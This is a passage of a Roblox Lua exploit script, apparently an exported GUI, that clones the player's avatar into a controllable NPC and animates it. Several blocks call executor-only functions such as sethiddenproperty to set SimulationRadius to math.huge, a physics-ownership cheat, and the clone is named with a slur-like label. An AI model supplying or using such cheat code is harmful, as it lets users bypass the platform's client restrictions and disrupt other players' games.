		local currentToolAnimKeyframeHandler = nil
 
		local function toolKeyFrameReachedFunc(frameName)
			if (frameName == "End") then
		--		print("Keyframe : ".. frameName)
				local repeatAnim = stopToolAnimations()
				playToolAnimation(repeatAnim, 0.0, Humanoid)
			end
		end
 
 
		function playToolAnimation(animName, transitionTime, humanoid)
			if (animName ~= toolAnimName) then		 
 
				if (toolAnimTrack ~= nil) then
					toolAnimTrack:Stop()
					toolAnimTrack:Destroy()
					transitionTime = 0
				end
 
				local roll = math.random(1, animTable[animName].totalWeight) 
				local origRoll = roll
				local idx = 1
				while (roll > animTable[animName][idx].weight) do
					roll = roll - animTable[animName][idx].weight
					idx = idx + 1
				end
		--		print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
				local anim = animTable[animName][idx].anim
 
				-- load it to the humanoid; get AnimationTrack
				toolOldAnimTrack = toolAnimTrack
				toolAnimTrack = humanoid:LoadAnimation(anim)
 
				-- play the animation
				toolAnimTrack:Play(transitionTime)
				toolAnimName = animName
 
				currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
			end
		end
 
		function stopToolAnimations()
			local oldAnim = toolAnimName
 
			if (currentToolAnimKeyframeHandler ~= nil) then
				currentToolAnimKeyframeHandler:disconnect()
			end
 
			toolAnimName = ""
			if (toolAnimTrack ~= nil) then
				toolAnimTrack:Stop()
				toolAnimTrack:Destroy()
				toolAnimTrack = nil
			end
 
 
			return oldAnim
		end
 
		-------------------------------------------------------------------------------------------
		-------------------------------------------------------------------------------------------
 
 
		function onRunning(speed)
			if speed>0 then
				playAnimation("walk", 0.1, Humanoid)
				pose = "Running"
			else
				playAnimation("idle", 0.1, Humanoid)
				pose = "Standing"
			end
		end
 
		function onDied()
			pose = "Dead"
		end
 
		function onJumping()
			playAnimation("jump", 0.1, Humanoid)
			jumpAnimTime = jumpAnimDuration
			pose = "Jumping"
		end
 
		function onClimbing()
			playAnimation("climb", 0.1, Humanoid)
			pose = "Climbing"
		end
 
		function onGettingUp()
			pose = "GettingUp"
		end
 
		function onFreeFall()
			if (jumpAnimTime <= 0) then
				playAnimation("fall", fallTransitionTime, Humanoid)
			end
			pose = "FreeFall"
		end
 
		function onFallingDown()
			pose = "FallingDown"
		end
 
		function onSeated()
			pose = "Seated"
		end
 
		function onPlatformStanding()
			pose = "PlatformStanding"
		end
 
		function onSwimming(speed)
			if speed>0 then
				pose = "Running"
			else
				pose = "Standing"
			end
		end
 
		local function getTool()	
			for _, kid in ipairs(Figure:GetChildren()) do
				if kid.className == "Tool" then return kid end
			end
			return nil
		end
 
		local function getToolAnim(tool)
			for _, c in ipairs(tool:GetChildren()) do
				if c.Name == "toolanim" and c.className == "StringValue" then
					return c
				end
			end
			return nil
		end
 
		local function animateTool()
 
			if (toolAnim == "None") then
				playToolAnimation("toolnone", toolTransitionTime, Humanoid)
				return
			end
 
			if (toolAnim == "Slash") then
				playToolAnimation("toolslash", 0, Humanoid)
				return
			end
 
			if (toolAnim == "Lunge") then
				playToolAnimation("toollunge", 0, Humanoid)
				return
			end
		end
 
		local function moveSit()
			RightShoulder.MaxVelocity = 0.15
			LeftShoulder.MaxVelocity = 0.15
			RightShoulder:SetDesiredAngle(3.14 /2)
			LeftShoulder:SetDesiredAngle(-3.14 /2)
			RightHip:SetDesiredAngle(3.14 /2)
			LeftHip:SetDesiredAngle(-3.14 /2)
		end
 
		local lastTick = 0
 
		function move(time)
			local amplitude = 1
			local frequency = 1
		  	local deltaTime = time - lastTick
		  	lastTick = time
 
			local climbFudge = 0
			local setAngles = false
 
		  	if (jumpAnimTime > 0) then
		  		jumpAnimTime = jumpAnimTime - deltaTime
		  	end
 
			if (pose == "FreeFall" and jumpAnimTime <= 0) then
				playAnimation("fall", fallTransitionTime, Humanoid)
			elseif (pose == "Seated") then
				stopAllAnimations()
				moveSit()
				return
			elseif (pose == "Running") then
				playAnimation("walk", 0.1, Humanoid)
			elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
		--		print("Wha " .. pose)
				amplitude = 0.1
				frequency = 1
				setAngles = true
			end
 
			if (setAngles) then
				local desiredAngle = amplitude * math.sin(time * frequency)
 
				RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
				LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
				RightHip:SetDesiredAngle(-desiredAngle)
				LeftHip:SetDesiredAngle(-desiredAngle)
			end
 
			-- Tool Animation handling
			local tool = getTool()
			if tool then
 
				local animStringValueObject = getToolAnim(tool)
 
				if animStringValueObject then
					toolAnim = animStringValueObject.Value
					-- message recieved, delete StringValue
					animStringValueObject.Parent = nil
					toolAnimTime = time + .3
				end
 
				if time > toolAnimTime then
					toolAnimTime = 0
					toolAnim = "None"
				end
 
				animateTool()		
			else
				stopToolAnimations()
				toolAnim = "None"
				toolAnimTime = 0
			end
		end
 
		-- connect events
		Humanoid.Died:connect(onDied)
		Humanoid.Running:connect(onRunning)
		Humanoid.Jumping:connect(onJumping)
		Humanoid.Climbing:connect(onClimbing)
		Humanoid.GettingUp:connect(onGettingUp)
		Humanoid.FreeFalling:connect(onFreeFall)
		Humanoid.FallingDown:connect(onFallingDown)
		Humanoid.Seated:connect(onSeated)
		Humanoid.PlatformStanding:connect(onPlatformStanding)
		Humanoid.Swimming:connect(onSwimming)
 
		-- main program
 
		local runService = game:service("RunService");
 
		-- initialize to idle
		playAnimation("idle", 1, Humanoid)
		pose = "Standing"
 
		while Figure.Parent~=nil do
			local _, time = wait(1)
			move(time)
		end
			end)
end
coroutine.wrap(NQXG_fake_script)()
local function TVZL_fake_script() -- FollowingNPC.LocalScript 
	local script = Instance.new('LocalScript', FollowingNPC)
 
	script.Parent.MouseButton1Down:Connect(function()
		wait(1)
	local larm = game.Workspace.gay:FindFirstChild("HumanoidRootPart")
	local rarm = game.Workspace.gay:FindFirstChild("HumanoidRootPart")
 
	function findNearestTorso(pos)
		local list = game.Workspace:children()
		local torso = nil
		local dist = 10000
		local temp = nil
		local human = nil
		local temp2 = nil
		for x = 1, #list do
			temp2 = list[x]
			if (temp2.className == "Model") and (temp2 ~= game.Workspace.gay) then
				temp = temp2:findFirstChild("HumanoidRootPart")
				human = temp2:findFirstChild("Humanoid")
				if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
					if (temp.Position - pos).magnitude < dist then
						torso = temp
						dist = (temp.Position - pos).magnitude
					end
				end
			end
		end
		return torso
	end
 
 
 
 
	while true do
		wait(math.random(1,5))
		local target = findNearestTorso(game.Workspace.gay.HumanoidRootPart.Position)
		if target ~= nil then
			game.Workspace.gay.Humanoid:MoveTo(target.Position, target)
		end
 
	end
	end)
end
coroutine.wrap(TVZL_fake_script)()
local function KIVAYYY_fake_script() -- Reset.LocalScript 
	local script = Instance.new('LocalScript', Reset)
 
		script.Parent.MouseButton1Down:Connect(function()
		game.Players.LocalPlayer.Character.Humanoid.Health = 0
		end)
end
coroutine.wrap(KIVAYYY_fake_script)()
local function VZMQ_fake_script() -- ControlNPC.LocalScript 
	local script = Instance.new('LocalScript', ControlNPC)
 
		script.Parent.MouseButton1Down:Connect(function()
			plr = game.Players.LocalPlayer
			if script.Parent.Text == "Control" then
		script.Parent.Text = "Uncontrol"	
		workspace.gay.Humanoid.PlatformStand = true
		W1 = Instance.new("Weld",workspace)
		W1.Name = "Weld1"
		W1.Part0 = plr.Character.Torso
		W1.Part1 = workspace.gay.Torso
		W2 = Instance.new("Weld",workspace)
		W2.Name = "Weld2"
		W2.Part0 = plr.Character.Head
		W2.Part1 = workspace.gay.Head
		W3 = Instance.new("Weld",workspace)
		W3.Name = "Weld3"
		W3.Part0 = plr.Character.HumanoidRootPart
		W3.Part1 = workspace.gay.HumanoidRootPart
		W4 = Instance.new("Weld",workspace)
		W4.Name = "Weld4"
		W4.Part0 = plr.Character["Left Arm"]
		W4.Part1 = workspace.gay["Left Arm"]
		W5 = Instance.new("Weld",workspace)
		W5.Name = "Weld5"
		W5.Part0 = plr.Character["Left Leg"]
		W5.Part1 = workspace.gay["Left Leg"]
		W6 = Instance.new("Weld",workspace)
		W6.Name = "Weld6"
		W6.Part0 = plr.Character["Right Arm"]
		W6.Part1 = workspace.gay["Right Arm"]
		W7 = Instance.new("Weld",workspace)
		W7.Name = "Weld7"
		W7.Part0 = plr.Character["Right Leg"]
		W7.Part1 = workspace.gay["Right Leg"]
		for i,v in pairs(plr.Character:GetChildren()) do
				if v.ClassName == "Part" then
					v.Transparency = 1
				end
				plr.Character.HumanoidRootPart.Transparency = 1
				if v.ClassName == "Accessory" then
					v.Handle.Transparency = 0
				end
				plr.Character.Humanoid.NameOcclusion = "NoOcclusion"
		end
		elseif script.Parent.Text == "Uncontrol" then
		script.Parent.Text = "Control"
		workspace.gay.Humanoid.PlatformStand = false
		workspace.Weld1:Remove()
		workspace.Weld2:Remove()
		workspace.Weld3:Remove()
		workspace.Weld4:Remove()
		workspace.Weld5:Remove()
		workspace.Weld6:Remove()
		workspace.Weld7:Remove()
		for i,v in pairs(plr.Character:GetChildren()) do
				if v.ClassName == "Part" then
					v.Transparency = 0
				end
				plr.Character.HumanoidRootPart.Transparency = 1
				if v.ClassName == "Accessory" then
					v.Handle.Transparency = 0
				end
				plr.Character.Humanoid.NameOcclusion = "OccludeAll"
		end
			end
		end)
end
coroutine.wrap(VZMQ_fake_script)()
local function ZXJL_fake_script() -- AnimationPlayer.LocalScript 
	local script = Instance.new('LocalScript', AnimationPlayer)
 
		local toggle = false
	script.Parent.MouseButton1Down:Connect(function()
			script.Parent.Parent.Parent.Parent.Parent.Frame2.Visible = true
	end)
 
 
end
coroutine.wrap(ZXJL_fake_script)()
local function IHVMURQ_fake_script() -- SpawnEasyControlNPC.LocalScript 
	local script = Instance.new('LocalScript', SpawnEasyControlNPC)
 
		script.Parent.MouseButton1Down:Connect(function()
		local unanchoredparts = {}
		local movers = {}
		 local tog = true
		 local move = false
		 local toggle2 = true
		local Player = game:GetService("Players").LocalPlayer
		local Character = Player.Character
		local mov = {};
		local mov2 = {};
		local head = Character:WaitForChild("BakonHead")
		local Hats = { torso1 = Character:WaitForChild("No Speak Monkey"),
		              torso2 = Character:WaitForChild("Kate Hair"),
		              rightarm = Character:WaitForChild("Hat1"),
		             leftarm = Character:WaitForChild("Pal Hair"),
		             rightleg = Character:WaitForChild("LavanderHair"),
		             leftleg = Character:WaitForChild("Pink Hair"),
		}
		head.Handle.AccessoryWeld:Remove()
		head.Handle.HatAttachment:Remove()
		for i,v in next, Hats do
		v.Handle.AccessoryWeld:Remove()
		for _,mesh in next, v:GetDescendants() do
		if mesh:IsA("Mesh") or mesh:IsA("SpecialMesh") then
		mesh:Remove()
		end
		end
		end
		local Network = coroutine.create(function()
		while true do
		game:GetService("RunService").Heartbeat:Wait()
		settings().Physics.AllowSleep = false
		sethiddenproperty(game.Players.LocalPlayer, "MaximumSimulationRadius", math.huge)
		sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)
		end
		end)
		coroutine.resume(Network)
 
		function ftp(str)
		    local pt = {};
		    if str ~= 'me' and str ~= 'random' then
		        for i, v in pairs(game.Players:GetPlayers()) do
		            if v.Name:lower():find(str:lower()) then
		                table.insert(pt, v);
		            end
		        end
		    elseif str == 'me' then
		        table.insert(pt, plr);
			elseif str == 'random' then
				table.insert(pt, game.Players:GetPlayers()[math.random(1, #game.Players:GetPlayers())]);
		    end
		    return pt;
		end
 
		local function align(i,v)
		local att0 = Instance.new("Attachment", i)
		att0.Position = Vector3.new(0,0,0)
		local att1 = Instance.new("Attachment", v)
		att1.Position = Vector3.new(0,0,0)
		local AP = Instance.new("AlignPosition", i)
		AP.Attachment0 = att0
		AP.Attachment1 = att1
		AP.RigidityEnabled = false
		AP.ReactionForceEnabled = false
		AP.ApplyAtCenterOfMass = true
		AP.MaxForce = 9999999
		AP.MaxVelocity = math.huge
		AP.Responsiveness = 65
		local AO = Instance.new("AlignOrientation", i)
		AO.Attachment0 = att0
		AO.Attachment1 = att1
		AO.ReactionTorqueEnabled = true
		AO.PrimaryAxisOnly = false
		AO.MaxTorque = 9999999
		AO.MaxAngularVelocity = math.huge
		AO.Responsiveness = 50
		end
 
		Character.Archivable = true
		local clone = Character:Clone()
		clone.Parent = workspace
		clone.Name = "gay"
		clone.Head.face:Destroy()
 
		align(head.Handle, clone["Head"])
		align(Hats.torso1.Handle, clone["Torso"])
		align(Hats.torso2.Handle, clone["Torso"])
		align(Hats.rightarm.Handle, clone["Right Arm"])
		align(Hats.leftarm.Handle, clone["Left Arm"])
		align(Hats.rightleg.Handle, clone["Right Leg"])
		align(Hats.leftleg.Handle, clone["Left Leg"])
 
		head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
		Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
		Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
		Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(90,0,0)
		Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(90,0,0)
		Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
		Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
 
		clone:WaitForChild("Head"):FindFirstChild("Attachment").Name = "headattachment"
		clone:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "torso1attachment"
		clone:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "torso2attachment"
		clone:WaitForChild("Right Arm"):FindFirstChild("Attachment").Name = "rightarmattachment"
		clone:WaitForChild("Left Arm"):FindFirstChild("Attachment").Name = "leftarmattachment"
		clone:WaitForChild("Right Leg"):FindFirstChild("Attachment").Name = "rightlegattachment"
		clone:WaitForChild("Left Leg"):FindFirstChild("Attachment").Name = "leftlegattachment"
 
		clone:WaitForChild("Torso").torso1attachment.Position = Vector3.new(-0, 0.5, -0)
		clone:WaitForChild("Torso").torso2attachment.Position = Vector3.new(-0, -0.5, -0)
 
		clone:FindFirstChild("Kate Hair"):Destroy()
		clone:FindFirstChild("Hat1"):Destroy()
		clone:FindFirstChild("LavanderHair"):Destroy()
		clone:FindFirstChild("Pink Hair"):Destroy()
		clone:FindFirstChild("Pal Hair"):Destroy()
		clone:FindFirstChild("BakonHead"):Destroy()
		clone:FindFirstChild("No Speak Monkey"):Destroy()
 
		clone:FindFirstChild("Head").Transparency = 1
		clone:FindFirstChild("Torso").Transparency = 1
		clone:FindFirstChild("Right Arm").Transparency = 1
		clone:FindFirstChild("Left Arm").Transparency = 1
		clone:FindFirstChild("Right Leg").Transparency = 1
		clone:FindFirstChild("Left Leg").Transparency = 1
 
 
		if Character.Humanoid.Health == 0 then
				    game.Workspace.gay:Destroy()
				end
 
			function   waitForChild(parent, childName)
			local child = parent:findFirstChild(childName)
			if child then return child end
			while true do
				child = parent.ChildAdded:wait()
				if child.Name==childName then return child end
			end
		end
 
		local Figure = game.Workspace.gay
		local Torso = waitForChild(Figure, "Torso")
		local RightShoulder = waitForChild(Torso, "Right Shoulder")
		local LeftShoulder = waitForChild(Torso, "Left Shoulder")
		local RightHip = waitForChild(Torso, "Right Hip")
		local LeftHip = waitForChild(Torso, "Left Hip")
		local Neck = waitForChild(Torso, "Neck")
		local Humanoid = waitForChild(Figure, "Humanoid")
		local pose = "Standing"
 
		local currentAnim = ""
		local currentAnimTrack = nil
		local currentAnimKeyframeHandler = nil
		local oldAnimTrack = nil
		local animTable = {}
		local animNames = { 
			idle = 	{	
						{ id = "http://www.roblox.com/asset/?id=125750544", weight = 9 },
						{ id = "http://www.roblox.com/asset/?id=125750618", weight = 1 }
					},
			walk = 	{ 	
						{ id = "http://www.roblox.com/asset/?id=125749145", weight = 10 } 
					}, 
			run = 	{
						{ id = "run.xml", weight = 10 } 
					}, 
			jump = 	{
						{ id = "http://www.roblox.com/asset/?id=125750702", weight = 10 } 
					}, 
			fall = 	{
						{ id = "http://www.roblox.com/asset/?id=125750759", weight = 10 } 
					}, 
			climb = {
						{ id = "http://www.roblox.com/asset/?id=125750800", weight = 10 } 
					}, 
			toolnone = {
						{ id = "http://www.roblox.com/asset/?id=125750867", weight = 10 } 
					},
			toolslash = {
						{ id = "http://www.roblox.com/asset/?id=129967390", weight = 10 } 
		--				{ id = "slash.xml", weight = 10 } 
					},
			toollunge = {
						{ id = "http://www.roblox.com/asset/?id=129967478", weight = 10 } 
					},
			wave = {
						{ id = "http://www.roblox.com/asset/?id=128777973", weight = 10 } 
					},
			point = {
						{ id = "http://www.roblox.com/asset/?id=128853357", weight = 10 } 
					},
			dance = {
						{ id = "http://www.roblox.com/asset/?id=130018893", weight = 10 }, 
						{ id = "http://www.roblox.com/asset/?id=132546839", weight = 10 }, 
						{ id = "http://www.roblox.com/asset/?id=132546884", weight = 10 } 
					},
			laugh = {
						{ id = "http://www.roblox.com/asset/?id=129423131", weight = 10 } 
					},
			cheer = {
						{ id = "http://www.roblox.com/asset/?id=129423030", weight = 10 } 
					},
		}
 
		-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
		local emoteNames = { wave = false, point = false, dance = true, laugh = false, cheer = false}
 
		math.randomseed(tick())
 
		-- Setup animation objects
		for name, fileList in pairs(animNames) do 
			animTable[name] = {}
			animTable[name].count = 0
			animTable[name].totalWeight = 0
 
			-- check for config values
			local config = script:FindFirstChild(name)
			if (config ~= nil) then
		--		print("Loading anims " .. name)
				local idx = 1
				for _, childPart in pairs(config:GetChildren()) do
					animTable[name][idx] = {}
					animTable[name][idx].anim = childPart
					local weightObject = childPart:FindFirstChild("Weight")
					if (weightObject == nil) then
						animTable[name][idx].weight = 1
					else
						animTable[name][idx].weight = weightObject.Value
					end
					animTable[name].count = animTable[name].count + 1
					animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
		--			print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
					idx = idx + 1
				end
			end
 
			-- fallback to defaults
			if (animTable[name].count <= 0) then
				for idx, anim in pairs(fileList) do
					animTable[name][idx] = {}
					animTable[name][idx].anim = Instance.new("Animation")
					animTable[name][idx].anim.Name = name
					animTable[name][idx].anim.AnimationId = anim.id
					animTable[name][idx].weight = anim.weight
					animTable[name].count = animTable[name].count + 1
					animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
		--			print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
				end
			end
		end
 
		-- ANIMATION
 
		-- declarations
		local toolAnim = "None"
		local toolAnimTime = 0
 
		local jumpAnimTime = 0
		local jumpAnimDuration = 0.175
 
		local toolTransitionTime = 0.1
		local fallTransitionTime = 0.2
		local jumpMaxLimbVelocity = 0.75
 
		-- functions
 
		function stopAllAnimations()
			local oldAnim = currentAnim
 
			-- return to idle if finishing an emote
			if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
				oldAnim = "idle"
			end
 
			currentAnim = ""
			if (currentAnimKeyframeHandler ~= nil) then
				currentAnimKeyframeHandler:disconnect()
			end
 
			if (oldAnimTrack ~= nil) then
				oldAnimTrack:Stop()
				oldAnimTrack:Destroy()
				oldAnimTrack = nil
			end
			if (currentAnimTrack ~= nil) then
				currentAnimTrack:Stop()
				currentAnimTrack:Destroy()
				currentAnimTrack = nil
			end
			return oldAnim
		end
 
		local function keyFrameReachedFunc(frameName)
			if (frameName == "End") then
		--		print("Keyframe : ".. frameName)
				local repeatAnim = stopAllAnimations()
				playAnimation(repeatAnim, 0.0, Humanoid)
			end
		end
 
		-- Preload animations
		function playAnimation(animName, transitionTime, humanoid)
			if (animName ~= currentAnim) then		 
 
				if (oldAnimTrack ~= nil) then
					oldAnimTrack:Stop()
					oldAnimTrack:Destroy()
				end
 
				local roll = math.random(1, animTable[animName].totalWeight) 
				local origRoll = roll
				local idx = 1
				while (roll > animTable[animName][idx].weight) do
					roll = roll - animTable[animName][idx].weight
					idx = idx + 1
				end
		--		print(animName .. " " .. idx .. " [" .. origRoll .. "]")
				local anim = animTable[animName][idx].anim
 
				-- load it to the humanoid; get AnimationTrack
				oldAnimTrack = currentAnimTrack
				currentAnimTrack = humanoid:LoadAnimation(anim)
 
				-- play the animation
				currentAnimTrack:Play(transitionTime)
				currentAnim = animName
 
				-- set up keyframe name triggers
				if (currentAnimKeyframeHandler ~= nil) then
					currentAnimKeyframeHandler:disconnect()
				end
				currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
			end
		end
 
		-------------------------------------------------------------------------------------------
		-------------------------------------------------------------------------------------------
 
		local toolAnimName = ""
		local toolOldAnimTrack = nil
		local toolAnimTrack = nil
		local currentToolAnimKeyframeHandler = nil
 
		local function toolKeyFrameReachedFunc(frameName)
			if (frameName == "End") then
		--		print("Keyframe : ".. frameName)
				local repeatAnim = stopToolAnimations()
				playToolAnimation(repeatAnim, 0.0, Humanoid)
			end
		end
 
 
		function playToolAnimation(animName, transitionTime, humanoid)
			if (animName ~= toolAnimName) then		 
 
				if (toolAnimTrack ~= nil) then
					toolAnimTrack:Stop()
					toolAnimTrack:Destroy()
					transitionTime = 0
				end
 
				local roll = math.random(1, animTable[animName].totalWeight) 
				local origRoll = roll
				local idx = 1
				while (roll > animTable[animName][idx].weight) do
					roll = roll - animTable[animName][idx].weight
					idx = idx + 1
				end
		--		print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
				local anim = animTable[animName][idx].anim
 
				-- load it to the humanoid; get AnimationTrack
				toolOldAnimTrack = toolAnimTrack
				toolAnimTrack = humanoid:LoadAnimation(anim)
 
				-- play the animation
				toolAnimTrack:Play(transitionTime)
				toolAnimName = animName
 
				currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
			end
		end
 
		function stopToolAnimations()
			local oldAnim = toolAnimName
 
			if (currentToolAnimKeyframeHandler ~= nil) then
				currentToolAnimKeyframeHandler:disconnect()
			end
 
			toolAnimName = ""
			if (toolAnimTrack ~= nil) then
				toolAnimTrack:Stop()
				toolAnimTrack:Destroy()
				toolAnimTrack = nil
			end
 
 
			return oldAnim
		end
 
		-------------------------------------------------------------------------------------------
		-------------------------------------------------------------------------------------------
 
 
		function onRunning(speed)
			if speed>0 then
				playAnimation("walk", 0.1, Humanoid)
				pose = "Running"
			else
				playAnimation("idle", 0.1, Humanoid)
				pose = "Standing"
			end
		end
 
		function onDied()
			pose = "Dead"
		end
 
		function onJumping()
			playAnimation("jump", 0.1, Humanoid)
			jumpAnimTime = jumpAnimDuration
			pose = "Jumping"
		end
 
		function onClimbing()
			playAnimation("climb", 0.1, Humanoid)
			pose = "Climbing"
		end
 
		function onGettingUp()
			pose = "GettingUp"
		end
 
		function onFreeFall()
			if (jumpAnimTime <= 0) then
				playAnimation("fall", fallTransitionTime, Humanoid)
			end
			pose = "FreeFall"
		end
 
		function onFallingDown()
			pose = "FallingDown"
		end
 
		function onSeated()
			pose = "Seated"
		end
 
		function onPlatformStanding()
			pose = "PlatformStanding"
		end
 
		function onSwimming(speed)
			if speed>0 then
				pose = "Running"
			else
				pose = "Standing"
			end
		end
 
		local function getTool()	
			for _, kid in ipairs(Figure:GetChildren()) do
				if kid.className == "Tool" then return kid end
			end
			return nil
		end
 
		local function getToolAnim(tool)
			for _, c in ipairs(tool:GetChildren()) do
				if c.Name == "toolanim" and c.className == "StringValue" then
					return c
				end
			end
			return nil
		end
 
		local function animateTool()
 
			if (toolAnim == "None") then
				playToolAnimation("toolnone", toolTransitionTime, Humanoid)
				return
			end
 
			if (toolAnim == "Slash") then
				playToolAnimation("toolslash", 0, Humanoid)
				return
			end
 
			if (toolAnim == "Lunge") then
				playToolAnimation("toollunge", 0, Humanoid)
				return
			end
		end
 
		local function moveSit()
			RightShoulder.MaxVelocity = 0.15
			LeftShoulder.MaxVelocity = 0.15
			RightShoulder:SetDesiredAngle(3.14 /2)
			LeftShoulder:SetDesiredAngle(-3.14 /2)
			RightHip:SetDesiredAngle(3.14 /2)
			LeftHip:SetDesiredAngle(-3.14 /2)
		end
 
		local lastTick = 0
 
		function move(time)
			local amplitude = 1
			local frequency = 1
		  	local deltaTime = time - lastTick
		  	lastTick = time
 
			local climbFudge = 0
			local setAngles = false
 
		  	if (jumpAnimTime > 0) then
		  		jumpAnimTime = jumpAnimTime - deltaTime
		  	end
 
			if (pose == "FreeFall" and jumpAnimTime <= 0) then
				playAnimation("fall", fallTransitionTime, Humanoid)
			elseif (pose == "Seated") then
				stopAllAnimations()
				moveSit()
				return
			elseif (pose == "Running") then
				playAnimation("walk", 0.1, Humanoid)
			elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
		--		print("Wha " .. pose)
				amplitude = 0.1
				frequency = 1
				setAngles = true
			end
 
			if (setAngles) then
				local desiredAngle = amplitude * math.sin(time * frequency)
 
				RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
				LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
				RightHip:SetDesiredAngle(-desiredAngle)
				LeftHip:SetDesiredAngle(-desiredAngle)
			end
 
			-- Tool Animation handling
			local tool = getTool()
			if tool then
 
				local animStringValueObject = getToolAnim(tool)
 
				if animStringValueObject then
					toolAnim = animStringValueObject.Value
					-- message recieved, delete StringValue
					animStringValueObject.Parent = nil
					toolAnimTime = time + .3
				end
 
				if time > toolAnimTime then
					toolAnimTime = 0
					toolAnim = "None"
				end
 
				animateTool()		
			else
				stopToolAnimations()
				toolAnim = "None"
				toolAnimTime = 0
			end
		end
 
		-- connect events
		Humanoid.Died:connect(onDied)
		Humanoid.Running:connect(onRunning)
		Humanoid.Jumping:connect(onJumping)
		Humanoid.Climbing:connect(onClimbing)
		Humanoid.GettingUp:connect(onGettingUp)
		Humanoid.FreeFalling:connect(onFreeFall)
		Humanoid.FallingDown:connect(onFallingDown)
		Humanoid.Seated:connect(onSeated)
		Humanoid.PlatformStanding:connect(onPlatformStanding)
		Humanoid.Swimming:connect(onSwimming)
 
		-- main program
 
		local runService = game:service("RunService");
 
		-- initialize to idle
		playAnimation("idle", 1, Humanoid)
		pose = "Standing"
 
		while Figure.Parent~=nil do
			local _, time = wait(1)
			move(time)
		end
			end)
end
coroutine.wrap(IHVMURQ_fake_script)()
local function ZPXIAAZ_fake_script() -- SpawnEasyControlNPC.LocalScript 
	local script = Instance.new('LocalScript', SpawnEasyControlNPC)
 
	script.Parent.MouseButton1Down:Connect(function()
		wait(1)
	game:GetService("RunService").Stepped:Connect(function()
				sethiddenproperty(game.Players.LocalPlayer, "MaximumSimulationRadius", math.huge)
			        sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)
				end)
 
				local Players = game:GetService('Players'); local LP = Players['LocalPlayer']; Create = Instance.new
				local Char = game.Workspace.gay; local Torso, Root, Humanoid = Char['Torso'], Char['HumanoidRootPart'], Char:FindFirstChildOfClass('Humanoid')
				local TS, Heartbeat = game:GetService('TweenService'), game:GetService('RunService')['Heartbeat']
 
				settings().Physics['AllowSleep'] = false; sethiddenproperty(game.Players.LocalPlayer, "MaximumSimulationRadius", math.huge) sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)
 
				local PoseToCF = function(Pose,Motor)
					return (Motor['Part0'].CFrame * Motor['C0'] * Pose['CFrame'] * Motor['C1']:Inverse()):ToObjectSpace(Motor['Part0'].CFrame)
				end
 
				local Joints = {
					['Torso'] = Root['RootJoint'];
					['Left Arm'] = Torso['Left Shoulder'];
					['Right Arm'] = Torso['Right Shoulder'];
					['Left Leg'] = Torso['Left Hip'];
					['Right Leg'] = Torso['Right Hip'];
				}
 
				coroutine.wrap(function()
					Char['HumanoidRootPart'].Anchored = true;
					wait(.6)
					Char['HumanoidRootPart'].Anchored = false;
					Humanoid['Died']:Wait()
					for K,V in next, Char:GetChildren() do 
						if not V:IsA('Humanoid') then 
							V:Destroy()
						end
					end
				end)()
 
 
				for K,V in next, Joints do 
					local AP, AO, A0, A1 = Create('AlignPosition',V['Part1']), Create('AlignOrientation',V['Part1']), Create('Attachment',V['Part1']), Create('Attachment',V['Part0'])
					AP['RigidityEnabled'] = true; AO['RigidityEnabled'] = true
					AP['Attachment0'] = A0; AP['Attachment1'] = A1;
					AO['Attachment0'] = A0; AO['Attachment1'] = A1;
					A0['Name'] = 'CFAttachment'; A0['CFrame'] = V['C1'] * V['C0']:Inverse(); V:Remove()
				end
 
				local Edit = function(Part,Value,Duration,Style,Direction)
					Style = Style or 'Enum.EasingStyle.Linear'; Direction = Direction or 'Enum.EasingDirection.In'
					local Attachment = Part:FindFirstChild('CFAttachment')
					if Attachment ~= nil then
						TS:Create(Attachment,TweenInfo.new(Duration,Enum['EasingStyle'][tostring(Style):split('.')[3]],Enum['EasingDirection'][tostring(Direction):split('.')[3]],0,false,0),{CFrame = Value}):Play()
					end
				end
 
				local PreloadAnimation = function(AssetId)
					local Sequence = game:GetObjects('rbxassetid://'..AssetId)[1]; assert(Sequence:IsA('KeyframeSequence'),'Instance is not a KeyframeSequence') 
					local Keyframes, Poses = Sequence:GetKeyframes(), {};
					local Yield = function(Seconds)
						for I = 1,Seconds*60 do 
							Heartbeat:Wait()
						end
					end
					for I = 1,#Keyframes do 
						local K0, K1 = Keyframes[I-1], Keyframes[I]
						local Duration = K0 ~= nil and K1['Time'] - K0['Time'] or 0;
						for K,V in next, K1:GetDescendants() do 
							if V:IsA('Pose') and V['Name'] ~= 'Head' and V['Name'] ~= 'HumanoidRootPart' then 
								local Args = {
									Char:FindFirstChild(V.Name);
									PoseToCF(V, Joints[V.Name]);
									Duration;
									V['EasingStyle'];
									V['EasingDirection'];
									K1['Time'];
								}
